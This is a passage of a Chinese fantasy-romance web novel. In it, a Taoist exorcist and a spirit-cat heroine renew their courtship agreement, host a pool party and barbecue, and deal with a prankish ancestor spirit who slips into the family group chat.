【你爷爷在此:@朱九,你是真不当人啊,说不过我,就要请我老母下来,有意思吗?[抠鼻][抠鼻]】 语气尽显混不吝,朱九冷笑连连。 阿祥看完群聊信息后,不禁扇了一下自己的手。 都是大佬,他一个新手村菜鸡,哪个都惹不起。 也不知道祖师爷会不会因为他嘴快而给他穿小鞋。 …… 玩手机期间,朱八不经意瞄到了一眼朱九手里的小玉人,直接大吃一惊。 “二哥,这不是你吗?” “她刻的?” 朱九瞥了他一眼,懒得说话。 朱八的眼神又挪到镇纸上的小玉之身上,“额,这不是她吗?” “你们……” 朱九眉心一跳:“闭嘴,要是没事干,就滚去厨房把碗刷了。” 朱九放下小玉人,伸手轻轻捏住他脖子上的小玉猫。 这两个东西,看起来雕刻手法一样。 应该都是她死去的前男友做的吧。 人死都死了,他再吃醋也没多大意思。 兄弟,安息吧。 她的下半生,就轮到他朱九来守护她了。 朱九把玉猫从脖子上解下来,从上次的斗法来看,这防御阵还是不够好。 看来他得好好想想,看看能不能研究出一个能够储存月光能量的法阵了。 这样没有月亮的时候也能用。 …… 另外一边。 三个女生推着购物车,逛超市逛到飞起,购物车里已经装了不少零食饮料。 三人来到酒水区时,豆豆停了下来。 她拿起一瓶香槟看了下,“欸,静之姐,你能喝……哦,你不能喝。” 静之嘟了嘟嘴,接过来一看。 “才十三度,怎么不能喝,我能喝。” 少少瞪了豆豆一眼,有些担忧的看着静之,“你可别逞强啊。” “没事儿,我酒量是不怎么好,我少喝点就行。”静之边说着,边把酒放进购物车里,“毕竟是派对,怎么能缺了酒呢。” 她挑挑选选,又拿了几支红酒,两提啤酒。 “够了够了!咱们去买点派对上用的玩具吧。” 豆豆赶紧摁住她欲拿第三提啤酒的手。 静之有些迷茫,“派对不就是吃吃喝喝吗?还玩什么?” 豆豆一联想到她之前的穷鬼样儿,就知道她没参加几场派对。 少少老神在在的杵了杵脸上的墨镜,“都能玩啊,飞镖,打枪,拼酒,掰手腕,什么不能玩。” 豆豆轻啧了一声,“姐,你是参加了什么兄弟会吗?” 少少耸了耸肩,“你也知道的,姐姐在国外一个人无聊的很,有时候就得找些男人来玩一玩……感情。” 第305章 约定恢复 几辈子加起来,就跟同一个男人杠上的静之,直接被少少的虎狼之词震住了。 “你…你…玩过几个男人……” “……的感情?” 少少轻点下巴,皱眉思考,“不知道,有时候一晚上叫好几个男模,叫他们演bl戏给我看,看腻了我就换个会所接着玩。” 静之清澈的眼里透着求知的渴望,“啥叫bl?” 少少:“bl就是……” 豆豆手一挥,一张符纸直接贴在少少头上。 对不住了,要不是你控制不住嘴,我也不至于大义灭亲。 “姐,你别教坏人家。” 少少:我敲你……算了,你妈也是我妈。 被定住的少少直接被豆豆收进伞里,豆豆轻轻拍两下伞安抚她。 “回家我就把你放出来,符是二叔给我的,你千万别怪我。” 静之瞅一眼伞,又瞅一眼逃避的豆豆,打破沙锅问到底,“豆,啥是bl?” 豆豆属实是汗流浃背了。 “就是,就是……boy love,兄弟情,都是好兄弟,哈哈哈,走了走了,别说这些了,我去买几个气球!” 静之跟在豆豆后面,小声嘀咕着bl,貌似想通后,她轻轻拍了拍豆豆的肩膀。 “那二叔跟三叔,是不是就是bl啊?” 豆豆:危!!快住脑!! …… 豆豆闭紧嘴巴,再不肯跟静之说一句话,就怕回去会被朱九捶死。 怎料静之的好奇心实在强得不行。 买气球时,静之伸头过来: “那二叔跟王医生呢?从上大学的时候就认识,算不算bl啊?” 买玩具水枪时,静之拿着枪,比划的姿势专业得不行,还不忘侧头问她一句: “那你跟你姐呢?好姐妹,算不算gl?” 豆豆缓缓闭上眼睛。 购物车里的黑伞开启了震动模式,也不知道是在笑,还是在生气。 结账的时候,静之率先拿出卡递给收银员,回头跟豆豆一脸笃定的说: “那我跟你,还有你姐,就是three girl love~好姐妹!” 少少:再不解开她的符,她今天就要憋笑憋死在伞里辣!!! …… 回到家时,客厅里只有个小胖子瘫着看电视。 静之手一抖,一大袋零食嘭的一声掉到地上。 听到声音的朱九立马从推拉门外走进来,“没事,我在这儿,没走。” 静之呼出一口气,苍白的脸这才渐渐恢复血色。 她弯腰拎起地上的袋子,朱九赶紧上前接过,并踢了阿祥一脚。 “还不动起来?去帮她们把东西提进来。” 静之跟在朱九后头出出进进,直到所有东西搬进来了,她才知道问一句: “你刚刚去哪儿了?” 朱九展开窗帘,指了指客厅外面的小圆桌,“焊接有味道,我在外面干比较好。” “哦。” 这时她的视线才被小圆桌三米开外的游泳池吸引了注意力。 只见朱八这时带着两个穿蓝色工作服的工人,在泳池旁边安装着果绿色的半封闭式滑梯,滑梯整个围绕住8x12的游泳池而建,错落有致,最高处都能与她家二楼齐平了。 “二叔,他这是搞什么?” 朱九:“上回在我家小区举办的那个派对,我看你好像挺喜欢那个水滑梯的,所以擅自叫人来安了一个,你……你喜欢吗?” 静之拉了块椅子坐到他旁边,捧着脸看着他有些忐忑的眼神,突然问了个朱九很难回答的问题。 “九哥,我们半个月之期的约定,重启吧?” 朱九瞳孔晃动一下,眸里的纠结渐渐加重。 他的心在疯狂叫他答应。 他的理智却告诉他,她是因为缺乏安全感,所以才会想尽办法留住他。 “我…我………” 本以为他会欣然答应,结果他犹豫了。 静之抠着手指,硬扯一下嘴角,“你不愿意就算了。” “不是……”朱九放下小型的加热器,转过身正对着她,“你真的想好了吗?不是因为……别的原因?” 静之微微歪了一下脑袋,疑惑道: “还有什么别的原因?” 她瞅一眼正忙活着的众人,旋即低下头玩着自己的手指,“我只是觉得套套那件事,应该是我误会你了,我不该生你的气。” “也不该对你说那些难听的话……对不起。” 朱九俯下身子,对上她有些躲闪和自责的目光,压低声音,温柔回道: “不怪你,是我的错,一开始你问我的时候,我就应该跟你说明白的。” 静之清澈的褐色眸子渐渐泛起光亮,她慢慢抬起了头,“那……那个约定还作数吗?这次我真的会认真考虑的,不会再逃避。” “作数。”朱九嘴角的弧度渐渐变大,“只要你不是一时兴起,我…求之不得。” 才不是一时兴起。 不知道为什么,她觉得她的思想好像开始有了转变。 与其畏畏缩缩,怕东怕西,不如专心修炼,提高自身实力。 既然与他约定好了,静之觉得她也不应该瞒着他。 她又偷瞄一眼那几个工人,然后趁他们不注意,凑到朱九的耳边说: “我有个秘密要告诉你。” 朱九微微一怔。 什么秘密,她还有什么秘密是他不知道的? “什么?” 静之小小声说: “其实我不是人。” 朱九:“……” 她这个马甲在他这儿,早八百年就被扒下来了,还真不是什么新鲜事。 瞧着朱九一点反应都没有,静之还以为他不相信。 “你跟我来一下。”她站了起来,拉着朱九的胳膊就朝屋里走。 朱九的视线完全被两人相触的部位吸引住。 不排斥他以后,她可真粘人。 朱九轻咳一声,隐秘的用拳头把上翘的嘴角压下去。 两人来到安安静静的洗衣房。 静之鬼鬼祟祟的朝外头走廊看了一眼。 暂时没人来。 她催动灵力运转到头顶。 “啵!” 毛茸茸的立耳弹了出来。 朱九瞳孔一缩,思绪直接被拉回那晚那个令他迷醉的回忆里。 静之低头捏着手,仿佛在等待道长的判决。 “我……我是灵猫,我还想再问一遍,我们那个约定,还作数——” “静静……” 朱九呢喃一声打断她的话。 静之抬头,发现朱九离她很近,不过二十公分距离,比她高大半个头的身影,直接把她笼罩在他的阴影下,安全感扑面而来,静之差一点就不矜持的抱住他。 静之:“什么?” 她没有再后退。 朱九嘴角的弧度再也压不下去了。 之前说不占人家便宜的想法,已经被他抛到九霄云外。 “虽然还没在一起,我请求……亲你一下可以吗?” 静之蓦地抬头,脸上渐渐染上一层淡淡的红晕,“亲,亲哪里?” 朱九又挪近一点,脚尖几乎抵着她的脚尖。 富有磁性的声音已经压到极致,“你想我亲哪里,我就亲哪里。” …… 三个臭皮匠,借着朱九提供的便利app其实又额外拉了一个小群。 三个人这会儿在别墅各处缩着脑袋偷窥,边在群里化身成为尖叫鸡。 【八:亲哪里?那必须正中红心,直接亲嘴啊!】 【祥:二叔即将成为咱们朱家第一个,也有可能是唯一一个脱单的人![撒花][撒花]】 【豆:啊啊啊啊啊啊!亲嘴我不同意!一来就亲嘴,多冒昧啊。】 网络仿佛卡了一瞬,群里的三人瞬间瞪大眼看着手机。 “你爷爷在此”已加入群聊。 【你爷爷在此:[各色避孕套仿佛打牌一样摊开].jpg】 【你爷爷在此:电视柜下面最左边的抽屉里有我法力幻化出的套套,这回绝对不漏,谁拿一个给他。】 阿祥抬起头看向对面墙角的朱八,他做了个弹鼻屎的手势,朱八立马意会。 朱八双手合十,默念好几遍冒犯了,这才硬着头皮动手操作。 “你爷爷在此”已被踢出群聊。 踢完朱鹤以后,朱八软着腿,从墙上滑落…… 二哥,他这也算是硬气一回了。 …… 洗衣房里,静之捏着衣摆还在纠结。 “我……我……” 朱九的眼神从她因说话微微撅起的红唇滑过,轻笑了一声,掸掸她的刘海。 “开玩笑的,别紧张。” “我会等到你愿意的时候。” 静之:“……” 她抿着唇,抬手抽出他胸前工作时别着的笔,在食指上画了个小小的笑脸。 “亲,亲它。” “只能一下嗷。” 朱九眸光微顿,轻笑一下。 怕她紧张,全身部位没有跟她有任何接触,只是慢慢低下头,如蜻蜓点水般,在那个小小的笑脸上,落下轻柔的一吻。 “谢谢。” 如触电般,静之收回手指,捏在手心里。 “不客气。” 【豆:搞什么?亲都亲了,怎么对话这么客气?】 【八:你们这些小年轻就是不懂行,没看二哥看她的眼神都快拉丝了吗?】 【祥:从我这个角度看,静之的脸都快变成红苹果了。】 【豆:@祥,麻烦拍照私我,要高清的。】 第306章 我要透透气 【豆:还有,谁给我科普下,灵猫是什么物种?and 这事儿,我不会是最后一个知道的吧?】 【祥:已拍[图片1][图片2][图片3]@豆】 【八:反正我不知道,不过看我二哥的反应,她应该也不是什么坏妖,不然早就一张镇妖符贴上去了。】 【祥:我靠,我刚刚来晚一步,只偷听到半截,到底错过了什么?我还以为她头上的耳朵是假的呢!】 【豆:(ーー;) 没用的东西。】 …… 白天时,朱九选的房间,其实是静之隔壁房间。 这两间也有一扇老王之……不,是老妈之门。 静之买房的时候听中介解释过了,开这扇门是为了方便主卧室的父母起夜看看年幼的孩子,同时又不至于处在同一间房,没了隐私性。 此时静之来到门前,在门口踌躇了一会儿,终于还是拧开了门把手,把门扇打开了一条缝儿。 她房间的灯光通过那条缝,直接照进朱九漆黑的房间里,朱九一手肘撑起身子,“静之?有什么事吗?” 静之开好门就立刻跑回去床上躺下,关好灯后,她捏着被子看着天花板,轻轻说一句: “没事,你还在就好。” “你别多想,我,我想开着条缝儿睡,透透气。” 透气? 透气怎么不开窗,而是开这个门。 她可真是口是心非。 朱九慢慢躺回床上,转了个身,面朝门口侧躺着。 “嗯,早点睡。” 过了一小会儿,凝视着那条小缝的朱九突然听到隔壁床垫咯吱了一声,随后她轻柔的声音响起,“九哥,可以给我讲个睡前小故事吗?” “……” 朱九一时犯了难,他哪会讲什么睡前小故事,那些童话故事书,他从来不看。 他想了想,低声问一句:“讲我抓鬼的故事可以吗?” 隔壁的女人立马回复了,声音里甚至还有一点兴奋:“行!” 低沉的声音缓缓在两个房间里响起,不过几分钟,只听得静之长长吐出一口气,呼吸声逐渐拉长。 讲故事的声音戛然而止。 她睡了吗? 朱九悄悄坐了起来,还没下床,就感觉到周边气流走向的异常,和灵力的波动。 行吧,她在修炼。 他还是别过去打扰她了。 王昭还真是没说错,她可真是争分夺秒的增强自身实力。 …… 本欲入睡的朱九开了床头的小灯,捏起胸前的玉猫看了看,他也该好好努力,给她来点实际的安全感了。 一阵窸窣声过后,书桌的台灯亮起,朱九开始看今天从家里带过来的书。 书本分成两堆,一堆是阵法相关的素材,一堆是电池储电原理之类的书。 一堆更比一堆难懂,偏偏朱九看得入神,只是不知为何,眼皮子渐渐发涩。 斗转星移,更深露重。 朱九已经趴在桌上睡着了。 中间的门缝悄然打开。 “小样儿,我修炼的时候,我就不信你不困,还大半夜偷偷看书,眼睛不想要了是吧。” 几声轻声的吐槽过后,他被抱到了床上盖好被子。 静之坐倚在他床头,垂下眸子观察了他许久。 然后动手做了个结界,把他连人带床一起裹进结界里。 “九哥,晚安。” …… 天刚微微亮起,海边的别墅群一片寂静,灰色的天际只有几只海鸥的身影掠过。 朱九的眉头越皱越紧。 什么东西这么臭? 紧闭的双眼突然睁开。 眼前出现了一道透明的弧形流光,好似一个巨大的泡泡把他罩住了。 他伸出手指轻轻点了一下。 仿佛知道是他,那个泡泡啵的一下,直接破碎,逸散在空气中。 耳边突然能听到海浪声和海鸥声,还有隔壁传来的绵长呼吸声。 刚刚那玩意儿,是她布下的结界吧? 朱九脑子里莫名有了一点想法,看来他想要修缮防御阵的话,还得跟她探讨一下。 不过眼前还有一件更重要的事。 朱九坐起来,万分嫌弃的将自己身上泛黄的t恤脱下。 他好像臭掉了。 可不能就这般出现在她眼前,他得洗个澡。 中间那扇门被悄悄带上。 朱九快速把自己扒光后,走进了浴室。 随着温热的水流淌过全身,略显浑浊的水划过他的身体,落到地面。 朱九从来都不知道自己身上居然能搓出这么多黑泥。 这个澡,他整整洗了四十几分钟。 剃胡须的时候,望着镜子里的自己,他不禁伸手拨了拨头发。 是他的错觉吗? 此时他感觉浑身轻松。 甚至连被阿祥和朱八气出来的白发,也好像返黑了不少。 还有也不知道是不是因为搓半天泥的原因,他有些泛红的脸好像也变白了。 朱九擦去镜面上的水雾,刚想凑近细看一下,他的房门就被敲响了。 “你发现啦?” 朱九放下剃须刀,手忙脚乱的拿下置物架上的白t掩住自己的上半身。 “你,你先转过去!我穿个衣服。” “跟个姑娘家似的。”静之摸了摸鼻子,转了过去,背对着他窃笑,“三叔没说错嘛,你是精瘦。” “而且,你不是穿裤子了嘛。” 朱九这一变白,脸红起来就更加明显了,他紧抿着唇,急速套上白t,然后冲过去拆床上的四件套。 第一天睡觉,就把人家的枕头被子睡脏,也是没谁了。 “没关系,你丢到楼下洗衣房好了,昨晚忘记跟你说了,我修炼的时候,是有这效果,能帮周边的人清除体内的杂质。” 朱九微微一愣,突然就明白了她昨天答应得这么爽快的原因。 她…就连发病的时候,也在为他着想呢。 朱九突然觉得眼眶发酸。 他把枕套塞进床单里,裹成一团抱在怀里,“你再睡会儿,我昨晚通知黄姨过来这边准备餐点了,8点记得下来吃饭。” 静之已读乱回,“你穿好了吗?” 朱九止住要出门的脚步,红着耳朵低低说一声:“穿好了。” 静之转过头,认真的盯着他看,盯得朱九面红耳赤,两手不由紧紧抓住皱巴巴的床单,“怎,怎么了?” 静之噗嗤一笑,“你皮肤白得好奶哦。” 说完转身就走。 徒留朱九一个人在门口琢磨。 奶是什么形容词? 她是喜欢,还是不喜欢呢? …… 第307章 试问谁不想打蓝色的? 下午1点半,静之的别墅游泳池旁,少少友情赞助了一台她的遗物——卡拉ok机。 刚插上电,还没等她唱上两句,话筒直接被没收。 静之:“好姐妹归好姐妹,但是真的辣耳朵。” 刚说完,她就被少少撵得满泳池跑,人字拖都快甩飞了,硬是没少少用飘的快。 最后实在没办法,本不想下水的静之“哗啦”一声跳了下去。 溅出来的水一下溢到岸边,把朱九的拖鞋打湿了。 朱九无动于衷,规规整整的斜躺在遮阳伞外,晒着太阳,眼睛向下瞥,眼珠子随着凫水的静之转动着。 阿祥拿着杯西瓜汁,咬着吸管侧头说: “二叔,你都晒红了,要不挪过来点?” “对啊。”朱八两手枕在脑后,朝他右边扬了扬下巴,“那不是还有大片阴影吗?你这么晒也不是个办法,等会晒伤了。” 他朝朱九挑了挑眉毛,“我觉得她说的奶,应该是在夸你,你又何必庸人自扰呢?” “而且,你穿着工字背心晒,就不怕变成熊猫吗?” 朱九不耐烦跟他们讲话,翻了个白眼后,背部一个用力,翻身坐起,走向岸边。 朱八一愣,跟着坐起来,一手肘杵到阿祥的胖肚子上,小声问:“他是要下去一起游吗?” 阿祥把墨镜推到脑袋顶上,看着那个已经把脚伸进去游泳池里的人,感叹一句: “在自己家的时候都没看他游过几回,这会儿倒是主动下水了。” 朱八笑出了鱼尾纹,“我说,咱俩红包要开始准备起来了。” 阿祥嘁了一声,摸摸滚圆的肚子,“论辈分,我要是叫她一声二婶,她还得给我红包呢。” 说着说着,他的视线发生偏离,挪到了从水滑梯上溜下来的豆豆身上。 今天为了庆祝静之的暖屋派对,豆豆特意穿了一身红色的挂脖泳衣,显白的同时,又给她增添了几分妩媚,看得阿祥挪不开眼。 他低声呢喃一句,“三叔,我的红绳真的那么短吗?真的一次机会都没有了吗?” 朱八看了看像条小美人鱼的豆豆,再看看胖得像颗球的阿祥,啧了一声。 “就算你的红线有三米长,再多的美女都被你这副身材吓退了,你还是先减减肥吧。” 阿祥不服气的摸了摸肚子,“可是以前我妈说我这样有福气。” “呵。”朱九游了过来,还滴着水珠的双臂搭到岸上,抹去头发水珠的动作,无意中又带了一丝性感。 偷摸观察的静之:他现在不奶了,有点小性感。 朱九状若无意握拳,让肱二头肌的线条在阳光底下鼓得更加明显一些,嘴上还不忘嘲一句阿祥: “你妈是安慰你的,你还真信了?” 阿祥:(?﹏?)二叔你再毒舌,我就要哭喽。 朱九:“从明天开始,每天跑5公里,三弟你监督他。” 朱八呃了很长一声,试图为阿祥减减量,“五公里,会不会太多啊,我怕他受不住。” “如果他还想要有个老婆,就不会太多。”刚要游过去找静之,他突然回头看了朱八一眼,“哦,对了,我看你最近也有点发福,为了身体健康,你跑3公里,你们两个互相监督。” 第308章 他诱我,还是我诱他? 看到朱九在一旁捂脸,静之就知道自己刚刚说的话和态度,有些过于暧昧了。 她放下枪走到朱九旁边,后腰靠在桌子上,轻咳了一声。 “咳,那个……我楼下有间空房,明天上完课,可以跟我去买点健身器材不?” 朱九轻揉两把笑得发酸的嘴角,转回身子,脸上依旧是她常见的浅笑: “好,我陪你。” 这种时候,就算她要上少林的话,朱九估计也会跟着一起去。 那块板子上的气球,是朱九扎的,蓝色气球放的位置都挺刁钻。 不是藏在其他颜色气球后面,就是系得不结实,垂下来随着风轻轻晃动着。 一人只准打十枪。 近视九百多度的朱八,因为强烈的好胜心,中了6枪,算是竭尽全力了。 阿祥性格有些佛,注意力还一直受到旁边调皮的豆豆的干扰,中了4枪。 豆豆能好点,中了8枪,剩余两枪错打到其他颜色上,让少少不禁扼腕。 白给的房子就这么没了。 “到我了到我了!!” 静之兴奋举手。 朱九抿嘴微笑,眼里是浓浓的甜蜜情意。 【豆:刚刚二叔那个眼神,我已经录下来了,待我回去剪辑一下分享给你们。@朱八@朱祥奋】 【朱祥奋:呃呃呃……豆豆,你要不要看看这是哪个群???@豆】 豆豆定睛看了一眼,突然把手机掩至身后,朝挑起眉梢的朱九讪笑一下。 “嘿嘿,我在夸您呢,真没啥。” 朱九看了一下半眯一只眼,专注瞄准的静之,转头低低朝豆豆说一声,“上回说的照片,连同这次的视频,记得一起打包发给我。” 豆豆大喜过望:“okk!!” 她还以为二叔要叫她删了呢。 “嘭!” 一声枪响过后,粉色的气球碎片落到绿色的草地上,分外显眼。 静之丢下枪,高兴得转身抱住后面的人又蹦又跳。 “豆豆!打中啦!特等奖是我的啦!!!” 豆豆在旁边一脸姨母笑的朝静之挥了挥手,“hello,我在这里。” 豆豆在那里,那她抱的是谁? 静之微微侧头,脸颊却被他发红的耳垂烫了一下。 “九,九哥?” 朱九死死攥着拳头,忍住想要回抱过去的冲动,低低嗯了一声。 静之在众人揶揄的目光中,瞬间弹开一米远,哐的一声撞在后面桌子上。 “抱歉,我我……刚刚听到豆豆的声音,我以为她就在我旁边。” 朱九:“没事。” 他微微低头,把烧红的脸转过去面向板子,“我去帮你把特等奖拿过来。” 静之完全不敢抬头,眼睛紧盯着自己渐渐抠紧的脚趾,简直想挖个地缝钻进去。 【豆:话说,这特等奖的奖品不是我准备的呀,是谁这么有才?@朱八@朱祥奋】 【朱八:不是我,我没这个胆。】 【朱祥奋:俺也一样。】 【豆:那是谁?】 【你爷爷在此:是我。】 【你爷爷在此:这灵猫真是富贵不能淫啊,小九真是捡到宝了。】 【豆:你谁?】 阿祥拉着豆豆,不断双手合十求她撤回。 “姑奶奶,你快撤回吧,他不是你能惹得起的。” 豆豆啧了一声,脸上冷淡的表情直接逼退了阿祥的拉拉扯扯。 她一手环着胸,单手点开那人的头像。 一只小鸟。 【豆:以前没注意,你是怎么进这个群的?二叔的app不会是出现漏洞了吧?】 阿祥猛拍脑门,哎呦哎呦的,直叫唤。 “哎呦,他就是我之前跟你说过的朱鹤,我家祖师爷。” …… 豆豆小嘴微张,瞬间秒怂。 拿起手机一顿操作,然后抬头朝阿祥悻悻一笑,吐了吐舌头: “那个……撤回不了了,他该不会那么小气吧?我刚刚说的也不过分吧?” “嗡嗡。” “你爷爷在此”已加您为好友。 看向手机屏幕的豆豆,瞬间两眼一黑。 “阿祥,你快帮我看看,是不是我眼花了?” “不是,我还没同意呢,他是怎么直接加进来的?” 阿祥凑过去看了一眼,然后对她摇了摇头。 “我祖师爷就是这么……” 他上下左右各看了一眼,然后捂着嘴悄悄在豆豆耳旁说:“不讲道理。” “我看你完了。” …… “嗡嗡。” 【你爷爷在此:小姑娘,你很狂啊,有空来小九的一号别墅喝喝茶,咱们好好聊聊。】 豆豆腿一软,一手扶住旁边的桌子,转头朝少少求救: “姐,你再不想想办法,我看我以后没办法给你烧纸钱了。” 少少也没办法,她只是个厉鬼而已,一个半月以后,是要下地狱的。 这种保家仙,她也惹不起。 少少挠了挠后脑勺: “道长是个大情种,要不你色诱一下他家祖师爷试试呢?万一他也是个情种呢?” 阿祥恨不得把少少那张口无遮拦的嘴给封住。 “嗡嗡。” 姐妹俩赶紧围住震动的手机一看。 【你爷爷在此:算了,我来了。】 【你爷爷在此:你叫豆豆是吗?做好准备接招了不?】 那把手机仿佛烫手山芋,豆豆丢给少少,少少丢给阿祥,阿祥反手丢给两手空空的朱九。 朱九脸一冷:“都干什么呢?” 没看他跟静之处得正好呢吗? 【呦~小九你脾气还是这么大,就不怕你的小情人又吓跑了吗?】 一道身着橘红色长袍的身影出现在夕阳的余晖中,逆着光的脸也挡不住他逆天的妖孽气质,和那双多情如水的桃花眼。 他嘴角那抹肆意的笑,简直让豆豆的少女心小鹿乱撞。 朱九手里的手机瞬间被夺了回去。 一向活泼调皮的豆豆脸上红霞遍布,动作也开始变得扭捏起来,简直跟旁边搂着大朱九玩偶的静之的表情一模一样。 都是恋爱脑上头的痴女脸。 她说:“色诱,是他诱我,还是我诱他啊?” 阿祥原地裂开。 就这么一个照面,女神就被他祖师爷俘获芳心了。 少少张了张嘴,小声嘀咕一句: “我就是开玩笑的。” 豆豆仿佛没有听到似的,主动走上前去,伸出手,脆生的说: “你好,我就是高豆豆,请多指教。” 一肚子坏水的朱鹤活了几百年,还没见过像她这般胆大到愿意主动靠近他的人。 他一手掩在身后,一手握住豆豆的手指,轻轻摇了两下。 【你好,我叫朱鹤。】 【那么,做好准备一起聊聊了吗?】 豆豆嘴角完全下不来,她收回手,微微低着头,有些害羞的嘀咕: “准备好了,聊什么都行。” 朱鹤一愣。 她这么配合,他想要整她的话,多少都有些不好意思下手了。 第309章 立筷 看着热情的带着朱鹤去玩水滑梯的豆豆,朱八简直叹为观止。 他凑近朱九,掰着手指跟朱九数着,“二哥,你不是说过豆豆是个旺夫的吗?如果她跟祖师爷成了,也旺咱们家呀。” “主要是,她叫静之姐姐,但是祖师爷比我们大了四代,那这辈分该怎么算?” 刚刚朱鹤眼里的恶趣味,朱九看得清清楚楚,他倒觉得祖师爷目前还没有动心的痕迹,纯纯只是想逗逗一下豆豆而已。 朱九:“让他俩玩去吧,他不来捣乱更好。你去把我准备的东西拿到草坪上,记得带个打火机。” 朱八一摸口袋,瘪瘪的。 哦,对了,刚刚玩水滑梯的时候,他把烟跟打火机放岸边的桌子上了,“行,你们等会,我去拿。” …… 天色渐渐暗下来,朱八进门的时候,顺便把庭院的电闸往上拉。 昏暗的水面一下被池底的灯照得像块淡蓝色的水玉。 池边的白桌侧边挂着如萤火虫一般细小,一闪一闪着的暖黄色小串灯。 每隔几米的灌木丛里,被朱九细心的安装好了蓝紫色的驱蚊灯。 空旷的草坪上,支了好几个米白色的帐篷,帐篷顶上,同样垂挂着暖黄色的小串灯。 这搁户外露营般的小氛围,挠的一下,就上来了。 黄姨这时正好端着烧烤炉从屋里走出来,朝半湿不干的两人笑着说: “你们先去换个干净衣服,烧烤的东西我都准备好了。” “好,麻烦你了。”朱九应了一声,朝静之伸出手,“要不要我帮你拿?” 静之箍紧两米高的玩偶,朝他摇了摇头,“很轻,我可以的。” “嗯,那你注意脚下,小心别摔跤。”他提醒一句,亦步亦趋跟着她。 到了二楼后,朱九眼睁睁的看着静之把玩偶拿进房间里,放在床里侧,还细心的拿出吹风机把被她打湿的部位吹干。 万万没想到,他居然会对那玩意儿产生羡慕且嫉妒的心理。 她的床,他都没躺过呢,以他形象制作出来的玩偶,倒是先享受上了。 “先换掉湿衣服,小心着凉。” 没错,他就是要故意打断她吹风。 他还湿着呢,也没见着她给他吹一吹。 捏着吹风机的手突然摁掉开关,静之抬起头问他,“要我帮你吹吹头发吗?” 真到这种时候,朱九又退却了。 他径直后退出她的房间,站在门口说: “……不用,我回去换衣服了,等会早些下来,吃点东西填填肚子,咱们再接着玩。” 他一害羞,她就容易得寸进尺。 静之调笑着说:“真不用我帮你吹?” 说话间,她还哒哒摁两下吹风机的开关。 朱九手指死死扣住门框,“你是想要缩短我们半个月的约定时间吗?” 静之秒怂。 她避开他炽热的目光,迅速低头,红着脸小声哔哔,“你回去自己吹吧,你卫生间也有吹风机。” 朱九悠悠的看了一眼她的发旋,指尖蠢蠢欲动。 不急。 他有自信,总有一天,他也会吹到她的头发的。 …… 夜里微凉,清澈的池水里,豆豆不知被朱鹤附耳说了句什么,捧着肚子咯咯笑。 朱鹤眼里不时闪过戏谑的光芒,左臂慵懒的撑在池子旁,看着豆豆上岸给他端酒水。 少少自从朱鹤来这里,就没现身过了。 此时她远远的躲在一棵大树上,啃着指甲,忧心忡忡的看着她妹妹的背影。 难道她玩弄众多男模感情的报应,没有因为她的逝世而消失,而是间接报应在她妹妹身上了吗? 豆,我对不起你。 …… 黄姨才是全场情绪最稳定的人。 她看不到朱鹤和少少。 半个多小时了,她眼睁睁的看着豆豆在水里玩水,还不时跟空气讲话,黄姨觉得豆豆中邪了。 手里完成烧烤任务的同时,她还顺便帮豆豆立了一次筷子。 最搞笑的是,朱鹤整人整上瘾了。 他指尖轻轻一点,黄姨面前的一碗清水里,原本要倒下的筷子,突然腾的一下,立得笔直。 黄姨瞳孔瞬间放大,然后又恢复正常。 她在朱家干了二十几年的活,阿祥一出生她就来了。 朱九捉鬼时,有时候别墅里也会有些异常现象,她都已经习惯了。 她默默从围裙里掏出一张朱九给她的护身符,烧成符灰,兑进水里端给豆豆。 “豆豆小姐,喝了吧,对你有好处。” 豆豆看着那杯浑浊的水,刚想婉拒,对面的朱鹤朝她轻轻眨了眨眼。 “小九画的护身符诶,他的法力不错,喝了确实有好处。” 豆豆立马接过水,刚想一饮而尽,杯口突然被一只手捂住,朱九低沉中带着点怒气的声音同时在她身后响起。 “你怎么不说这玩意儿只对中了邪的人有用?!” 朱鹤指了指懵住了的豆豆,【你看她还真想喝,她好不好玩?像不像中邪了?】 豆豆脸上的笑瞬间僵住,“你玩我?” 静之叹了口气,接过她手里的杯子,将水倒在后面的草地上,“你才看出来啊,豆豆,你……” “欸,你去哪里??” 静之看着负气离去的豆豆,忍不住回头瞪了一眼朱鹤。 【瞪我干什么?】 朱鹤悠哉悠哉的泡在水里,浅酌着豆豆上供给他的香槟酒,边耸肩说: 【由头至尾,都是她主动贴上来的,我什么都没干。】 上次套套的事情还没跟他算账,这回竟然还欺负豆豆,静之冷着脸朝他伸出一掌。 “出招吧。” 朱鹤身子微微一僵,【为了个小丫头跟我打,是不是太不理性了?】 “你觉得我打不过你吗?”静之说,声音冷到不行。 朱鹤还没回答,朱九暗暗看了她一眼后,轻轻把她拉到身后,对朱鹤说: “我跟您打。” 朱鹤瞳孔晃动一下,上回被雷劈得外焦里嫩的场景,一瞬间便从记忆里跳了出来。 【这是排队要跟我干起来的节奏吗?】 朱九摇头,“就我跟您打,您也知道……” 朱鹤:算了,他不欺负女人,更不欺负病人。 况且,虽然打得过小朱九,但他着实打不过林风神君啊,没辙。 朱鹤:【唉,知道了知道啦,我去跟她道歉。】 第310章 诡计多端的男人 朱八端着纸箱走出来的时候,频频回头看向进屋的朱鹤。 走到草坪时,他放下东西,从黄姨端过来的盘子上顺了一串烤虾,借此机会小声问: “祖师爷跟豆豆怎么了这是?我刚刚去拿东西,遇到豆豆,我看她眼睛都红了。” “先别吃这个。”朱九轻轻拍一下静之猴急的手,把手里盛好的鱼汤递过去,“玩一下午水了,喝碗汤暖暖先。” “现在是七月,我不冷。”虽这么说着,她却乖乖坐回小马扎上,双手迅速接过汤,喝得滋滋作响。 朱九抿着嘴暗笑一下,这才拿起她碟子里的烤虾,边剥边跟朱八解释: “他做神没有神格,连一个小姑娘都欺负,刚刚进去道歉了。” 朱八捏紧签子,一脸不可思议。 “道歉?祖师爷道歉?” 真是开了眼了。 静之皱起眉头,“做错事就得道歉,不管是人还是神。” 朱八唉唉两声,重新拿了一串Q弹的牛肉开始撸串,抖着腿吐槽: “反正我管不着,伤心的又不是我。” 朱九连着剥了两个虾以后,把虾肉拨进静之碗里,视线搜寻了一下周围有些昏暗的环境。 “阿祥呢?都这个点了,他不是最爱吃烧烤的嘛,怎么没见人?” 朱八边吮手指头,边指向身后不远处的客厅位置,“他说他伤心了,要从现在开始减肥,晚上就不吃了,等会要玩……那些东西的时候,叫他就行。” “什么东西?”静之叼着虾问。 不用自己剥的虾真是太香了。 她暗戳戳又拿了两串放到朱九盘子里,然后用水润润的眼神瞅着他。 朱九眉眼一松:“呵,要吃的话跟我说一声就行,我会帮你剥的。” 边说着,他举着两只有些油光的手,把手臂支到她面前,“帮我把袖子撩起来,有些碍事。” 